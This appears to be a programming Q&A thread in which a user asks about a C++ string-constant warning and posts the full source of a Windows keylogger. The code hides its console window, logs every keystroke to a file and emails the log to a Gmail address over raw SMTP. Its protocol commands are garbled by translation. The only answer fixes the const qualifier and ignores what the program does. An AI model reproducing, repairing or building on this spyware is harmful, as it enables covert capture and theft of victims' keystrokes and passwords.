Greetings, I have a syntax problem in my code. Can you help me?

Question

I have a code made in c ++ however I am using an IDE called DEV-C ++ and it presents a compilation error:

[Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

The error points to the condition inside the if: savePressedKey.

if(pressedKey) {
   savePressedKey(pressedKey, FILE_NAME);
   now = clock();
} 

My code is below and also by the link: https://godbolt.org/z/zqgCzS

#include <stdio.h>
#include <windows.h>
#include <time.h>

#define INVISIBLE_CONSOLE 0 
#define SILENT_CONSOLE 0 

#define LISTENER_TIMER 5
#define SENDER_SLEEP_TIME 100 

#define FILE_NAME "MarcadorLog.txt"

#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "[email protected]"
#define EMAIL_TO "[email protected]"

void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char *getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);

void verifyStealthMode() {
    if(INVISIBLE_CONSOLE) {
        HWND stealth;
        AllocConsole();
        stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(stealth, 0);
    }
}

void savePressedKey(char pressedKey, char fileName[]) {
    FILE *file = fopen(fileName, "a+");

    fputc(pressedKey, file);
    fclose(file);
}

int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
    int pressedKey = 0;

    for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {
        if(GetAsyncKeyState(character) == -32767) {
            pressedKey = character;
        }
    }

    return pressedKey;
}

int getFileLength(char fileName[]) {
    FILE *file = fopen(fileName, "rb");

    fseek(file, 0, SEEK_END);

    int fileLength = ftell(file);

    fclose(file);

    return fileLength;
}

char *getBufferFromFile(char fileName[]) {
    FILE *file = fopen(fileName, "rb");

    int fileLength = getFileLength(fileName);

    char *buffer = (char *) malloc(fileLength + 1);

    fread(buffer, sizeof(char), fileLength, file);

    buffer[fileLength] = '\0';

    fclose(file);

    return buffer;
}

void overrideFile(char fileName[]) {
    FILE *file = fopen(fileName, "w");

    fclose(file);
}

int main() {
    verifyStealthMode();

    clock_t timer;
    clock_t now = clock();

    while(1) {
        int pressedKey = getPressedKeyBetweenASCII(8, 255);

        if(pressedKey) {
            savePressedKey(pressedKey, FILE_NAME);

            now = clock();
        }

        timer = (clock() - now) / CLOCKS_PER_SEC;

        if(timer > LISTENER_TIMER) {
            int fileLength = getFileLength(FILE_NAME);

            if(fileLength > 0) {
                sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));

                overrideFile(FILE_NAME);
            }

            now = clock();
        } else if(!SILENT_CONSOLE) {
            system("cls");
            printf("Lendo...");
            printf("\nTime para novo envio: %ld\n\n", (LISTENER_TIMER - timer));
        }
    }

    return 0;
}

void sendData(SOCKET sock, char data[]) {
    send(sock, data, strlen(data), 0);
    Sleep(SENDER_SLEEP_TIME);

    if(!SILENT_CONSOLE) printf("\n%s", data);
}

void sendEmail(char server[], char from[], char to[], char buffer[]) {
    SOCKET sock;
    WSADATA wsaData;
    struct hostent *host;
    struct sockaddr_in dest;

    char data[3000];

    // Get socket and dest:
    WSAStartup(0x202, &wsaData);

    host = gethostbyname(server);

    memset(&dest, 0, sizeof(dest));
    memcpy(&(dest.sin_addr), host->h_addr, host->h_length);

    dest.sin_family = host->h_addrtype;
    dest.sin_port = htons(25);

    sock = socket(AF_INET, SOCK_STREAM, 0);

    connect(sock, (struct sockaddr *) &dest, sizeof(dest));
    Sleep(SENDER_SLEEP_TIME);

    sprintf(data, "Ola me.somepalace.com\n");
    sendData(sock, data);

    sprintf(data, "Email de: <%s>\n", from);
    sendData(sock, data);

    sprintf(data, "recebido por: <%s>\n", to);
    sendData(sock, data);

    sprintf(data, "DATA\n");
    sendData(sock, data);

    sprintf(data, "para: %s\nFROM: %s\nSUBJECT: Keylogger\n%s\r\n.\r\n", to, from, buffer);
    sendData(sock, data);

    sprintf(data, "sair\n");
    sendData(sock, data);

    if(!SILENT_CONSOLE) {
        printf("\ntodos os pacotes foram enviados");
        Sleep(5000);
        system("cls");
    }

    closesocket(sock);
    WSACleanup();
}

Answer 1

This warning means that you are trying to pass a string literal that in C++ (opposite to C) has the type of a constant character array to a function the corresponding parameter of which does not have the qualifier const.

If this function does not change the passed string then it shall be declared like

void savePressedKey(char pressedKey, const char fileName[]);

Otherwise if the function changes the passed string using a string literal as an argument will result in undefined behavior.

Even if the program is a C program nevertheless you should declare the parameter with the qualifier const.